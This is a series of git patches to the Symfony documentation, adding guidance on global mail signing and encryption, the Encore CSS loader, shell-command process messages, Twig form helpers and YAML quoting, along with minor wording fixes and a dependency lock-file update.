https://github.com/symfony/symfony-docs/issues/20641
---
 mailer.rst | 123 +++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 123 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 9ab2f47c235..5baf9a5d193 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1370,6 +1370,78 @@ key but not a certificate::
         ->toArray()
     );
 
+Signing Messages Globally
+.........................
+
+Instead of creating a signer instance for every email, you can configure a global signer
+that automatically applies to all outgoing messages. This approach reduces repetition
+and centralizes your configuration for both DKIM and S/MIME signing.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/mailer.yaml
+        framework:
+            mailer:
+                dkim_signer:
+                    key: 'file://%kernel.project_dir%/var/certificates/dkim.pem'
+                    domain: 'symfony.com'
+                    select: 's1'
+                smime_signer:
+                    key: '%kernel.project_dir%/var/certificates/smime.key'
+                    certificate: '%kernel.project_dir%/var/certificates/smime.crt'
+                    passphrase: ''
+
+    .. code-block:: xml
+
+        <!-- config/packages/mailer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <!-- ... -->
+            <framework:config>
+                <framework:mailer>
+                    <framework:dkim-signer>
+                        <framework:key>file://%kernel.project_dir%/var/certificates/dkim.pem</framework:key>
+                        <framework:domain>symfony.com</framework:domain>
+                        <framework:select>s1</framework:select>
+                    </framework:dkim-signer>
+                    <framework:smime-signer>
+                        <framework:key>%kernel.project_dir%/var/certificates/smime.pem</framework:key>
+                        <framework:certificate>%kernel.project_dir%/var/certificates/smime.crt</framework:certificate>
+                        <framework:passphrase></framework:passphrase>
+                    </framework:smime-signer>
+                </framework:mailer>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/mailer.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework): void {
+            $mailer = $framework->mailer();
+            $mailer->dsn('%env(MAILER_DSN)%');
+            $mailer->dkimSigner()
+                    ->key('file://%kernel.project_dir%/var/certificates/dkim.pem')
+                    ->domain('symfony.com')
+                    ->select('s1');
+
+            $mailer->smimeSigner()
+                    ->key('%kernel.project_dir%/var/certificates/smime.key')
+                    ->certificate('%kernel.project_dir%/var/certificates/smime.crt')
+                    ->passphrase('')
+            ;
+        };
+
+
 Encrypting Messages
 ~~~~~~~~~~~~~~~~~~~
 
@@ -1411,6 +1483,57 @@ and it will select the appropriate certificate depending on the ``To`` option::
     $firstEncryptedEmail = $encrypter->encrypt($firstEmail);
     $secondEncryptedEmail = $encrypter->encrypt($secondEmail);
 
+
+Encrypting Messages Globally
+............................
+
+Similarly, you can avoid instantiating a new encrypter for every email by setting up a
+global S/MIME encrypter. With this configuration, the encrypter is automatically
+applied to all emails you send.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/mailer.yaml
+        framework:
+            mailer:
+                smime_encrypter:
+                    certificate: '%kernel.project_dir%/var/certificates/smime.crt'
+
+    .. code-block:: xml
+
+        <!-- config/packages/mailer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <!-- ... -->
+            <framework:config>
+                <framework:mailer>
+                    <framework:smime-encrypter>
+                        <framework:certificate>%kernel.project_dir%/var/certificates/smime.crt</framework:certificate>
+                    </framework:smime-encrypter>
+                </framework:mailer>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/mailer.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework): void {
+            $mailer = $framework->mailer();
+            $mailer->smimeEncrypter()
+                    ->certificate('%kernel.project_dir%/var/certificates/smime.crt')
+            ;
+        };
+
 .. _multiple-email-transports:
 
 Multiple Email Transports

From ea5d2cf91db89eb0743cc72946b0b5af497a21cd Mon Sep 17 00:00:00 2001
From: Jalen Muller <jalen@jcid.nl>
Date: Tue, 11 Mar 2025 10:21:47 +0100
Subject: [PATCH 5428/5766] Document the `configureCssLoader` method

---
 frontend/encore/advanced-config.rst | 26 ++++++++++++++++++++++++++
 1 file changed, 26 insertions(+)

diff --git a/frontend/encore/advanced-config.rst b/frontend/encore/advanced-config.rst
index bbd4fc44c93..2a94a4f33cf 100644
--- a/frontend/encore/advanced-config.rst
+++ b/frontend/encore/advanced-config.rst
@@ -198,6 +198,32 @@ Now you can inject your service into your class::
         $this->render($emailTwo);
     }
 
+Configuring the CSS Loader
+--------------------------
+
+Encore provides the method ``configureCssLoader()`` to configure options for ``css-loader``. This method allows you to customize how Webpack processes CSS assets.
+
+A common use case is filtering certain URLs so that Webpack does not attempt to resolve them. For example, if user-uploaded assets are stored under in a user uploaded directory, Webpack should not process these paths since they may not exist at build time.
+
+Use ``configureCssLoader()`` as follows:
+
+.. code-block:: javascript
+
+    // Configuring the CSS Loader in Webpack Encore
+    // This ensures that Webpack does not attempt to resolve certain URLs in CSS files
+
+    Encore.configureCssLoader((options) => {
+        options.url = {
+            filter: (url) => {
+                // Ignore URLs that start with /uploads/
+                if (url.startsWith('/uploads/')) {
+                    return false;
+                }
+                return true; // Process other URLs normally
+            },
+        };
+    });
+
 Generating a Webpack Configuration Object without using the Command-Line Interface
 ----------------------------------------------------------------------------------
 

From 6930b68bc3e613cf35b9402c839db0fdab563da1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 11 Mar 2025 13:15:06 +0100
Subject: [PATCH 5429/5766] Minor reword

---
 mailer.rst | 19 ++++++++++++-------
 1 file changed, 12 insertions(+), 7 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 1a6605a3fe3..f1d0a921567 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1367,9 +1367,9 @@ key but not a certificate::
 Signing Messages Globally
 .........................
 
-Instead of creating a signer instance for every email, you can configure a global signer
-that automatically applies to all outgoing messages. This approach reduces repetition
-and centralizes your configuration for both DKIM and S/MIME signing.
+Instead of creating a signer instance for each email, you can configure a global
+signer that automatically applies to all outgoing messages. This approach
+minimizes repetition and centralizes your configuration for DKIM and S/MIME signing.
 
 .. configuration-block::
 
@@ -1435,6 +1435,9 @@ and centralizes your configuration for both DKIM and S/MIME signing.
             ;
         };
 
+.. versionadded:: 7.3
+
+    Global message signing was introduced in Symfony 7.3.
 
 Encrypting Messages
 ~~~~~~~~~~~~~~~~~~~
@@ -1477,13 +1480,11 @@ and it will select the appropriate certificate depending on the ``To`` option::
     $firstEncryptedEmail = $encrypter->encrypt($firstEmail);
     $secondEncryptedEmail = $encrypter->encrypt($secondEmail);
 
-
 Encrypting Messages Globally
 ............................
 
-Similarly, you can avoid instantiating a new encrypter for every email by setting up a
-global S/MIME encrypter. With this configuration, the encrypter is automatically
-applied to all emails you send.
+Instead of creating a new encrypter for each email, you can configure a global S/MIME
+encrypter that automatically applies to all outgoing messages:
 
 .. configuration-block::
 
@@ -1528,6 +1529,10 @@ applied to all emails you send.
             ;
         };
 
+.. versionadded:: 7.3
+
+    Global message encryption configuration was introduced in Symfony 7.3.
+
 .. _multiple-email-transports:
 
 Multiple Email Transports

From efed8f8340a1555cd6ac8665d26955d75ea80c2c Mon Sep 17 00:00:00 2001
From: Niels Keurentjes <niels.keurentjes@omines.com>
Date: Fri, 7 Feb 2025 12:53:40 +0100
Subject: [PATCH 5430/5766] Remove reference to Local PHP Security Checker

Local PHP Security Checker has been archived in favor of composer audit months ago.
---
 setup.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/setup.rst b/setup.rst
index 1fc65f23856..117de9dd66c 100644
--- a/setup.rst
+++ b/setup.rst
@@ -249,9 +249,9 @@ workflows to make them fail when there are vulnerabilities.
 .. tip::
 
     In continuous integration services you can check security vulnerabilities
-    using a different stand-alone project called `Local PHP Security Checker`_.
-    This is the same project used internally by ``check:security`` but much
-    smaller in size than the entire Symfony CLI.
+    by invoking `composer audit`. This uses the same data internally as
+    ``check:security`` but does not require installing the entire Symfony CLI
+    during CI or on CI workers.
 
 Symfony LTS Versions
 --------------------
@@ -318,7 +318,6 @@ Learn More
 .. _`The Symfony Demo Application`: https://github.com/symfony/demo
 .. _`Symfony Flex`: https://github.com/symfony/flex
 .. _`PHP security advisories database`: https://github.com/FriendsOfPHP/security-advisories
-.. _`Local PHP Security Checker`: https://github.com/fabpot/local-php-security-checker
 .. _`Symfony releases`: https://symfony.com/releases
 .. _`Main recipe repository`: https://github.com/symfony/recipes
 .. _`Contrib recipe repository`: https://github.com/symfony/recipes-contrib

From 89950eee76d1bed44633036ba7acccb5905a1768 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 11 Mar 2025 17:30:40 +0100
Subject: [PATCH 5431/5766] Minor tweak

---
 setup.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup.rst b/setup.rst
index 117de9dd66c..889df729466 100644
--- a/setup.rst
+++ b/setup.rst
@@ -249,8 +249,8 @@ workflows to make them fail when there are vulnerabilities.
 .. tip::
 
     In continuous integration services you can check security vulnerabilities
-    by invoking `composer audit`. This uses the same data internally as
-    ``check:security`` but does not require installing the entire Symfony CLI
+    by running the ``composer audit`` command. This uses the same data internally
+    as ``check:security`` but does not require installing the entire Symfony CLI
     during CI or on CI workers.
 
 Symfony LTS Versions

From cc298b88c90d2f0b5425d9fe08bbfc73f52d6ae4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 12 Mar 2025 09:19:37 +0100
Subject: [PATCH 5432/5766] Minor reword

---
 frontend/encore/advanced-config.rst | 18 ++++++++++--------
 1 file changed, 10 insertions(+), 8 deletions(-)

diff --git a/frontend/encore/advanced-config.rst b/frontend/encore/advanced-config.rst
index 2a94a4f33cf..b7a02883e08 100644
--- a/frontend/encore/advanced-config.rst
+++ b/frontend/encore/advanced-config.rst
@@ -201,25 +201,27 @@ Now you can inject your service into your class::
 Configuring the CSS Loader
 --------------------------
 
-Encore provides the method ``configureCssLoader()`` to configure options for ``css-loader``. This method allows you to customize how Webpack processes CSS assets.
+Encore provides the ``configureCssLoader()`` method to customize how ``css-loader``
+processes your CSS assets. One common use case is to prevent Webpack from resolving
+certain URLs.
 
-A common use case is filtering certain URLs so that Webpack does not attempt to resolve them. For example, if user-uploaded assets are stored under in a user uploaded directory, Webpack should not process these paths since they may not exist at build time.
-
-Use ``configureCssLoader()`` as follows:
+For instance, if your application serves user-uploaded assets from a specific
+directory, you'll want Webpack to ignore these paths since they may not exist
+during the build process:
 
 .. code-block:: javascript
 
     // Configuring the CSS Loader in Webpack Encore
-    // This ensures that Webpack does not attempt to resolve certain URLs in CSS files
-
+    // Prevent Webpack from resolving certain URLs in CSS files
     Encore.configureCssLoader((options) => {
         options.url = {
             filter: (url) => {
-                // Ignore URLs that start with /uploads/
+                // Ignore URLs beginning with /uploads/
                 if (url.startsWith('/uploads/')) {
                     return false;
                 }
-                return true; // Process other URLs normally
+
+                return true; // Process other URLs as usual
             },
         };
     });

From 4150430e838ad29532a68b6909db2c20ddab5485 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 12 Mar 2025 09:21:07 +0100
Subject: [PATCH 5433/5766] Backport 20755 pull request

---
 frontend/encore/advanced-config.rst | 28 ++++++++++++++++++++++++++++
 1 file changed, 28 insertions(+)

diff --git a/frontend/encore/advanced-config.rst b/frontend/encore/advanced-config.rst
index bbd4fc44c93..b7a02883e08 100644
--- a/frontend/encore/advanced-config.rst
+++ b/frontend/encore/advanced-config.rst
@@ -198,6 +198,34 @@ Now you can inject your service into your class::
         $this->render($emailTwo);
     }
 
+Configuring the CSS Loader
+--------------------------
+
+Encore provides the ``configureCssLoader()`` method to customize how ``css-loader``
+processes your CSS assets. One common use case is to prevent Webpack from resolving
+certain URLs.
+
+For instance, if your application serves user-uploaded assets from a specific
+directory, you'll want Webpack to ignore these paths since they may not exist
+during the build process:
+
+.. code-block:: javascript
+
+    // Configuring the CSS Loader in Webpack Encore
+    // Prevent Webpack from resolving certain URLs in CSS files
+    Encore.configureCssLoader((options) => {
+        options.url = {
+            filter: (url) => {
+                // Ignore URLs beginning with /uploads/
+                if (url.startsWith('/uploads/')) {
+                    return false;
+                }
+
+                return true; // Process other URLs as usual
+            },
+        };
+    });
+
 Generating a Webpack Configuration Object without using the Command-Line Interface
 ----------------------------------------------------------------------------------
 

From f5164f73fbebea6b6a5d40acdb7210f22b46f423 Mon Sep 17 00:00:00 2001
From: Staormin <kevin.macquer@gmail.com>
Date: Fri, 21 Feb 2025 15:20:19 +0100
Subject: [PATCH 5434/5766] [Messenger][Process] add fromShellCommandLine
 documentation

---
 components/process.rst |  2 ++
 messenger.rst          | 33 +++++++++++++++++++++++++++++++--
 2 files changed, 33 insertions(+), 2 deletions(-)

diff --git a/components/process.rst b/components/process.rst
index f6c8837d2c3..7552537e82e 100644
--- a/components/process.rst
+++ b/components/process.rst
@@ -114,6 +114,8 @@ You can configure the options passed to the ``other_options`` argument of
     and ``suppress_errors``) are only supported on Windows operating systems.
     Check out the `PHP documentation for proc_open()`_ before using them.
 
+.. _process-using-features-from-the-os-shell:
+
 Using Features From the OS Shell
 --------------------------------
 
diff --git a/messenger.rst b/messenger.rst
index 08209896ef4..6eb187af460 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2301,8 +2301,9 @@ will take care of creating a new process with the parameters you passed::
 
     class CleanUpService
     {
-        public function __construct(private readonly MessageBusInterface $bus)
-        {
+        public function __construct(
+            private readonly MessageBusInterface $bus,
+        ) {
         }
 
         public function cleanUp(): void
@@ -2313,6 +2314,34 @@ will take care of creating a new process with the parameters you passed::
         }
     }
 
+A static factory :method:`Symfony\\Component\\Process\\Messenger\\RunProcessMessage::fromShellCommandline` is also
+available if you want to use features of your shell such as redirections or pipes::
+
+    use Symfony\Component\Messenger\MessageBusInterface;
+    use Symfony\Component\Process\Messenger\RunProcessMessage;
+
+    class CleanUpService
+    {
+        public function __construct(
+            private readonly MessageBusInterface $bus,
+        ) {
+        }
+
+        public function cleanUp(): void
+        {
+            $this->bus->dispatch(RunProcessMessage::fromShellCommandline('echo "Hello World" > var/log/hello.txt'));
+
+            // ...
+        }
+    }
+
+For more information, see the
+dedicated :ref:`Using Features From the OS Shell <process-using-features-from-the-os-shell>` documentation.
+
+.. versionadded:: 7.3
+
+    The ``RunProcessMessage::fromShellCommandline()`` method was introduced in Symfony 7.3.
+
 Once handled, the handler will return a
 :class:`Symfony\\Component\\Process\\Messenger\\RunProcessContext` which
 contains many useful information such as the exit code or the output of the

From b76b19903552db25fc8adb4c6ade4078f9b8d268 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Wed, 12 Mar 2025 10:47:41 +0100
Subject: [PATCH 5435/5766] [TwigBridge] Add Twig field_id() form helper

---
 form/form_customization.rst  | 6 ++++++
 reference/twig_reference.rst | 1 +
 2 files changed, 7 insertions(+)

diff --git a/form/form_customization.rst b/form/form_customization.rst
index 1c23601a883..dc09aefe77d 100644
--- a/form/form_customization.rst
+++ b/form/form_customization.rst
@@ -103,6 +103,7 @@ That's why Symfony provides other Twig form helpers that render the value of
 each form field part without adding any HTML around it:
 
 * ``field_name()``
+* ``field_id()``
 * ``field_value()``
 * ``field_label()``
 * ``field_help()``
@@ -116,6 +117,7 @@ fields, so you no longer have to deal with form themes:
 
     <input
         name="{{ field_name(form.username) }}"
+        id="{{ field_id(form.username) }}"
         value="{{ field_value(form.username) }}"
         placeholder="{{ field_label(form.username) }}"
         class="form-control"
@@ -129,6 +131,10 @@ fields, so you no longer have to deal with form themes:
         {% endfor %}
     </select>
 
+.. versionadded:: 7.3
+
+    The ``field_id()`` helper was introduced in Symfony 7.3.
+
 Form Rendering Variables
 ------------------------
 
diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index acbab2f3817..bb636c69f02 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -408,6 +408,7 @@ explained in the article about :doc:`customizing form rendering </form/form_cust
 * :ref:`form_row() <reference-forms-twig-row>`
 * :ref:`form_rest() <reference-forms-twig-rest>`
 * :ref:`field_name() <reference-forms-twig-field-helpers>`
+* :ref:`field_id() <reference-forms-twig-field-helpers>`
 * :ref:`field_value() <reference-forms-twig-field-helpers>`
 * :ref:`field_label() <reference-forms-twig-field-helpers>`
 * :ref:`field_help() <reference-forms-twig-field-helpers>`

From 152d436e541d7a3e9b7ffae90404562ab6d170bc Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Wed, 12 Mar 2025 11:02:05 +0100
Subject: [PATCH 5436/5766] [Yaml] Add the
 Yaml::DUMP_FORCE_DOUBLE_QUOTES_ON_VALUES flag to enforce double quotes around
 string values

---
 components/yaml.rst | 17 +++++++++++++++++
 1 file changed, 17 insertions(+)

diff --git a/components/yaml.rst b/components/yaml.rst
index 40a172f334d..09028732c0a 100644
--- a/components/yaml.rst
+++ b/components/yaml.rst
@@ -450,6 +450,23 @@ By default, digit-only array keys are dumped as integers. You can use the
     $dumped = Yaml::dump([200 => 'foo'], 2, 4, Yaml::DUMP_NUMERIC_KEY_AS_STRING);
     // '200': foo
 
+Dumping Double Quotes on Values
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+By default, only unsafe values are double quoted. In some scenarios, quoting
+even safe values is encouraged by various inspectors. You can use the
+``DUMP_FORCE_DOUBLE_QUOTES_ON_VALUES`` flag to enforce double quotes::
+
+    $dumped = Yaml::dump(['foo' => 'bar']);
+    // foo: bar
+
+    $dumped = Yaml::dump(['foo' => 'bar'], 2, 4, Yaml::DUMP_FORCE_DOUBLE_QUOTES_ON_VALUES);
+    // foo: "bar"
+
+.. versionadded:: 7.3
+
+    The ``Yaml::DUMP_FORCE_DOUBLE_QUOTES_ON_VALUES`` flag was introduced in Symfony 7.3.
+
 Dumping Collection of Maps
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 7214ad2bbeaf4a99b55ba34f23c349cd092eb5a6 Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Wed, 12 Mar 2025 16:13:08 +0100
Subject: [PATCH 5437/5766] [PropertyInfo] Fix class namespace

---
 components/property_info.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/property_info.rst b/components/property_info.rst
index 10c4d161377..39019657ced 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -572,7 +572,7 @@ Creating Your Own Extractors
 
 You can create your own property information extractors by creating a
 class that implements one or more of the following interfaces:
-:class:`Symfony\\Component\\PropertyInfo\\ConstructorArgumentTypeExtractorInterface`,
+:class:`Symfony\\Component\\PropertyInfo\\Extractor\\ConstructorArgumentTypeExtractorInterface`,
 :class:`Symfony\\Component\\PropertyInfo\\PropertyAccessExtractorInterface`,
 :class:`Symfony\\Component\\PropertyInfo\\PropertyDescriptionExtractorInterface`,
 :class:`Symfony\\Component\\PropertyInfo\\PropertyListExtractorInterface`,

From 409ec0233462afb560b279d450e2a4fcdb0824ce Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 12 Mar 2025 17:37:39 +0100
Subject: [PATCH 5438/5766] Tweaks

---
 components/yaml.rst | 22 +++++++++++++---------
 1 file changed, 13 insertions(+), 9 deletions(-)

diff --git a/components/yaml.rst b/components/yaml.rst
index 09028732c0a..471b59dcf5c 100644
--- a/components/yaml.rst
+++ b/components/yaml.rst
@@ -453,15 +453,19 @@ By default, digit-only array keys are dumped as integers. You can use the
 Dumping Double Quotes on Values
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-By default, only unsafe values are double quoted. In some scenarios, quoting
-even safe values is encouraged by various inspectors. You can use the
-``DUMP_FORCE_DOUBLE_QUOTES_ON_VALUES`` flag to enforce double quotes::
-
-    $dumped = Yaml::dump(['foo' => 'bar']);
-    // foo: bar
-
-    $dumped = Yaml::dump(['foo' => 'bar'], 2, 4, Yaml::DUMP_FORCE_DOUBLE_QUOTES_ON_VALUES);
-    // foo: "bar"
+By default, only unsafe string values are enclosed in double quotes (for example,
+if they are reserved words or contain newlines and spaces). Use the
+``DUMP_FORCE_DOUBLE_QUOTES_ON_VALUES`` flag to add double quotes to all string values::
+
+    $dumped = Yaml::dump([
+        'foo' => 'bar', 'some foo' => 'some bar', 'x' => 3.14, 'y' => true, 'z' => null,
+    ]);
+    // foo: bar, 'some foo': 'some bar', x: 3.14, 'y': true, z: null
+
+    $dumped = Yaml::dump([
+        'foo' => 'bar', 'some foo' => 'some bar', 'x' => 3.14, 'y' => true, 'z' => null,
+    ], 2, 4, Yaml::DUMP_FORCE_DOUBLE_QUOTES_ON_VALUES);
+    // "foo": "bar", "some foo": "some bar", "x": 3.14, "y": true, "z": null
 
 .. versionadded:: 7.3
 

From e363b742288ba6b82bd05b5a67896d3c4b293e3b Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 14 Mar 2025 16:40:06 +0100
Subject: [PATCH 5439/5766] Update messenger.rst: Typo

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 70154ab82ca..d25800ef00d 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1563,7 +1563,7 @@ Install it by running:
 
     $ composer require symfony/doctrine-messenger
 
-The Doctrine transport DSN may looks like this:
+The Doctrine transport DSN may look like this:
 
 .. code-block:: env
 

From b04bc3a09b64d35fe47e5b74f01023c08584f3a1 Mon Sep 17 00:00:00 2001
From: Santiago San Martin <sanmartindev@gmail.com>
Date: Fri, 14 Mar 2025 18:47:45 -0300
Subject: [PATCH 5440/5766] Add new tip to explain usage of --method option for
 filtering routes

---
 routing.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/routing.rst b/routing.rst
index 4ab0dce2a82..c5cf5cd7f33 100644
--- a/routing.rst
+++ b/routing.rst
@@ -456,6 +456,10 @@ route details:
     Use the ``--show-aliases`` option to show all available aliases for a given
     route.
 
+.. tip::
+
+    Use the ``--method`` option to filter routes by HTTP method. For example, to only show routes that use the ``GET`` method, add ``--method=GET``
+
 The other command is called ``router:match`` and it shows which route will match
 the given URL. It's useful to find out why some URL is not executing the
 controller action that you expect:

From d51154b75f4e8934d4997f06a0f1e18de6871a8c Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Mon, 17 Mar 2025 01:27:35 +0100
Subject: [PATCH 5441/5766] [Serializer] Fix `defaultContext` example

---
 serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/serializer.rst b/serializer.rst
index d541310aa15..cd181787763 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -344,7 +344,7 @@ instance to disallow extra fields while deserializing:
 
         return static function (FrameworkConfig $framework): void {
             $framework->serializer()
-                ->defaultContext('', [
+                ->defaultContext([
                     'allow_extra_attributes' => false,
                 ])
             ;

From be54b38d951479d27957388da18e530cfb502209 Mon Sep 17 00:00:00 2001
From: Steven Renaux <steven.renaux@sensiolabs.com>
Date: Mon, 17 Mar 2025 13:53:23 +0100
Subject: [PATCH 5442/5766] Update input option for MoneyType

---
 reference/forms/types/money.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/reference/forms/types/money.rst b/reference/forms/types/money.rst
index a02b695abd4..967fe9e4ce4 100644
--- a/reference/forms/types/money.rst
+++ b/reference/forms/types/money.rst
@@ -83,6 +83,9 @@ input
 By default, the money value is converted to a ``float`` PHP type. If you need the
 value to be converted into an integer (e.g. because some library needs money
 values stored in cents as integers) set this option to ``integer``.
+You can also set this option to ``string``, it can be useful if the underlying
+data is a string for precision reasons (for example, Doctrine uses strings for
+the decimal type).
 
 .. versionadded:: 7.1
 

From 5f9a259167ccc310c1d0c7934901c961c8601b6b Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Mon, 17 Mar 2025 01:27:35 +0100
Subject: [PATCH 5443/5766] [Serializer] Fix `defaultContext` example

---
 serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/serializer.rst b/serializer.rst
index 47ea5b66c60..5c82e6e566a 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -344,7 +344,7 @@ instance to disallow extra fields while deserializing:
 
         return static function (FrameworkConfig $framework): void {
             $framework->serializer()
-                ->defaultContext('', [
+                ->defaultContext([
                     'allow_extra_attributes' => false,
                 ])
             ;

From 585fdb4d8b3611d64b42b038cdcb3b46a2973f5c Mon Sep 17 00:00:00 2001
From: Antoine M <amakdessi@me.com>
Date: Tue, 18 Mar 2025 10:45:09 +0100
Subject: [PATCH 5444/5766] Update mercure.rst

---
 mercure.rst | 12 +++++++++++-
 1 file changed, 11 insertions(+), 1 deletion(-)

diff --git a/mercure.rst b/mercure.rst
index 42ad9798d3c..125511f6f2b 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -282,6 +282,11 @@ URL in a dedicated HTML element:
     {{ mercure('https://example.com/books/1')|json_encode(constant('JSON_UNESCAPED_SLASHES') b-or constant('JSON_HEX_TAG'))|raw }}
     </script>
 
+    <!-- with Stimulus -->
+    <div {{ stimulus_controller('my-controller', {
+        mercureUrl: mercure('https://example.com/books/1'),
+    }) }}>
+
 Then retrieve it from your JS file:
 
 .. code-block:: javascript
@@ -290,6 +295,9 @@ Then retrieve it from your JS file:
     const eventSource = new EventSource(url);
     // ...
 
+    // with Stimulus
+    this.eventSource = new EventSource(this.mercureUrlValue);
+
 Mercure also allows subscribing to several topics,
 and to use URI Templates or the special value ``*`` (matched by all topics)
 as patterns:
@@ -407,7 +415,7 @@ of the ``Update`` constructor to ``true``::
             $update = new Update(
                 'https://example.com/books/1',
                 json_encode(['status' => 'OutOfStock']),
-                true // private
+                private: true
             );
 
             // Publisher's JWT must contain this topic, a URI template it matches or * in mercure.publish or you'll get a 401
@@ -704,6 +712,8 @@ enable it::
     :alt: The Mercure panel of the Symfony Profiler, showing information like time, memory, topics and data of each message sent by Mercure.
     :class: with-browser
 
+The Mercure hub itself provides a debug tool that can be enabled and available on `/.well-known/mercure/ui/`
+
 Async dispatching
 -----------------
 

From 4a324e82ced465a1cebf186d694aa69f5703aded Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 18 Mar 2025 13:46:47 +0100
Subject: [PATCH 5445/5766] Tweaks

---
 mercure.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index 125511f6f2b..c2aa068167d 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -415,7 +415,7 @@ of the ``Update`` constructor to ``true``::
             $update = new Update(
                 'https://example.com/books/1',
                 json_encode(['status' => 'OutOfStock']),
-                private: true
+                true // private
             );
 
             // Publisher's JWT must contain this topic, a URI template it matches or * in mercure.publish or you'll get a 401
@@ -712,7 +712,8 @@ enable it::
     :alt: The Mercure panel of the Symfony Profiler, showing information like time, memory, topics and data of each message sent by Mercure.
     :class: with-browser
 
-The Mercure hub itself provides a debug tool that can be enabled and available on `/.well-known/mercure/ui/`
+The Mercure hub itself provides a debug tool that can be enabled and it's
+available on ``/.well-known/mercure/ui/``
 
 Async dispatching
 -----------------

From 1e8d50b5aac5e54cfd07214e2b3fdab15c205e01 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 18 Mar 2025 13:49:23 +0100
Subject: [PATCH 5446/5766] Update the docs builder dependencies

---
 _build/composer.lock | 519 +++++++++++++++++++------------------------
 1 file changed, 231 insertions(+), 288 deletions(-)

diff --git a/_build/composer.lock b/_build/composer.lock
index 89a4e7da3c6..a30ed16776b 100644
--- a/_build/composer.lock
+++ b/_build/composer.lock
@@ -4,77 +4,33 @@
         "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies",
         "This file is @generated automatically"
     ],
-    "content-hash": "8a771cef10c68c570bff7875e4bdece3",
+    "content-hash": "6524e63395216a3a297f1c78c7f39d86",
     "packages": [
-        {
-            "name": "doctrine/deprecations",
-            "version": "v1.0.0",
-            "source": {
-                "type": "git",
-                "url": "https://github.com/doctrine/deprecations.git",
-                "reference": "0e2a4f1f8cdfc7a92ec3b01c9334898c806b30de"
-            },
-            "dist": {
-                "type": "zip",
-                "url": "https://api.github.com/repos/doctrine/deprecations/zipball/0e2a4f1f8cdfc7a92ec3b01c9334898c806b30de",
-                "reference": "0e2a4f1f8cdfc7a92ec3b01c9334898c806b30de",
-                "shasum": ""
-            },
-            "require": {
-                "php": "^7.1|^8.0"
-            },
-            "require-dev": {
-                "doctrine/coding-standard": "^9",
-                "phpunit/phpunit": "^7.5|^8.5|^9.5",
-                "psr/log": "^1|^2|^3"
-            },
-            "suggest": {
